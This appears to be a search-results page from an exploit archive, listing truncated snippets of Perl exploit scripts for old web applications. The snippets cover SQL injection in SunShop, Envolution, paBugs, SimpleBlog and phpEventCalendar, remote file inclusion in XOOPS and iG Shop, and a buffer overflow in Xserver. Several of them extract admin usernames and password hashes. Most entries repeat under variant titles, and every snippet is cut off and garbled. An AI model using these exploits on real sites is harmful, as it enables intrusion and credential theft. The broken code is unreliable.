1507 matches found
DL PayCart 1.01 (viewitem.php ItemID) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= DL PayCart 1.01 viewitem.php ItemID Blind SQL Injection Exploit ================================================================= !/usr/bin/perl -w use HTTP::Request; use...
SunShop 4.0 RC 6 (search) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo------------------"; print "\n | SunShop v4.0 RC 6 search Blind SQL Injection |"; print "\n | k1tk4t - Indonesia -...
SunShop Shopping Cart 4.0 RC 6 - 'Search' Blind SQL Injection
!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo------------------"; print "\n | SunShop v4.0 RC 6 search Blind SQL Injection |"; print "\n | k1tk4t - Indonesia - newhackdotorg |"; print "\n | coded by DNX...
envolution-sql.txt
!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...
Envolution <= 1.1.0 (topic) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 3 usage; exit; $site = $ARGV0; Site Target $path = $ARGV1; Path direktori envolution1-0-1 $usid = $ARGV2; member id $www = new LWP::UserAgent; $sql =...
Envolution <= 1.1.0 (topic) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ======================================================== Envolution get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n";...
Envolution 1.1.0 - 'topic' SQL Injection
!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /./ or err; print "\n + Username:Passwordmd5 member id = $usid \n"; print "\n $1 \n\n"; sub usage print "\n"; print " newhackdotorg \n"; print "\n"; print " Envolution = v1.1.0 Remote SQL Injection \n";...
paBugs <= 2.0 Beta 3 (main.php cid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 4 usage; exit; $host = $ARGV0; Host $path = $ARGV1; Path to paBugs directory $pref = $ARGV2; prefix for admin tables $usid = $ARGV3; user id $www = new LWP::UserAgent; $sql =...
paBugs 2.0 Beta 3 - main.php?cid SQL Injection
paBugs 2.0 Beta 3 - main.php?cid SQL Injection !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print ...
paBugs 2.0 Beta 3 - 'main.php?cid' SQL Injection
!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print "| Bug Found by: umpi |\n"; print...
SimpleBlog 3.0 (comments_get.asp id) Remote SQL Injection Vulnerability
No description provided by source. !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz &nbs...
SimpleBlog 3.0 - comments_get.asp?id SQL Injection
SimpleBlog 3.0 - commentsget.asp?id SQL Injection !/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox...
SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection
!/usr/bin/perl ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ SimpleBlog 3.0 commentsget.asp Remote SQL Injection code by TrinTiTTY at g00ns.net Vulnerability by MurderSkillz shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, Canuck, a59, sess, bernard, + the rest of g00ns...
Xserver 0.1 Alpha - POST Remote Buffer Overflow (PoC)
Xserver 0.1 Alpha - POST Remote Buffer Overflow PoC !/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1...
Xserver 0.1 Alpha - 'POST' Remote Buffer Overflow (PoC)
!/usr/bin/perl | | | | | | / |/ \ | | / |/ / | ' / | | '| | | |/ | | | | | / || \ \ | | | | \ \ || | | || | | | ,||,|/\/|| ||/|| ,||| d.e.u.s..c.o.n.s.t.r.u.c.t Type - Proof-of-Concept P0C Remote DoS Buffer Overflow App - Xserver 0.1 Alpha URL - http://sourceforge.net/projects/xserver/...
iG Shop 1.4 eval Inclusion Vulnerability
No description provided by source. !/usr/bin/perl -w use LWP::UserAgent; iG Shop 1.4 eval Inclusion Vulnerability found by IFX nyubicrew Vulnerability on page.php if !$action $action = "make"; // here the function will be called. eval "page$action;"; die "Example: perl $0...
phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit
No description provided by source. !/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar = v0.2.3 SQL Injection Exploit By Iron - ironwarez.info Thanks to Silentz for the help : Greets to everyone at RootShell Security Group & dHack Example target url:...
xoops101-rfi.txt
!/usr/bin/perl sub header print q ========================================================================= XOOPS modules xfsection 1.01 =Remote File Inclusion Exploit Exploit Coded by fl0 fl0w floflowsupremacyatyahoodotcom PoC:http://site.com/modules/xfsection/modify.php?dirmodule=evilShell?...
phpEventCalendar <= 0.2.3 (eventdisplay.php) SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin";...
phpeventcal-sql.txt
!/usr/bin/perl Vendor url: www.ikemcg.com require LWP::UserAgent; print " phpEventCalendar ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "User id to retrieve name/password from? 1 = admin"; chomp$targetid=; $target .=...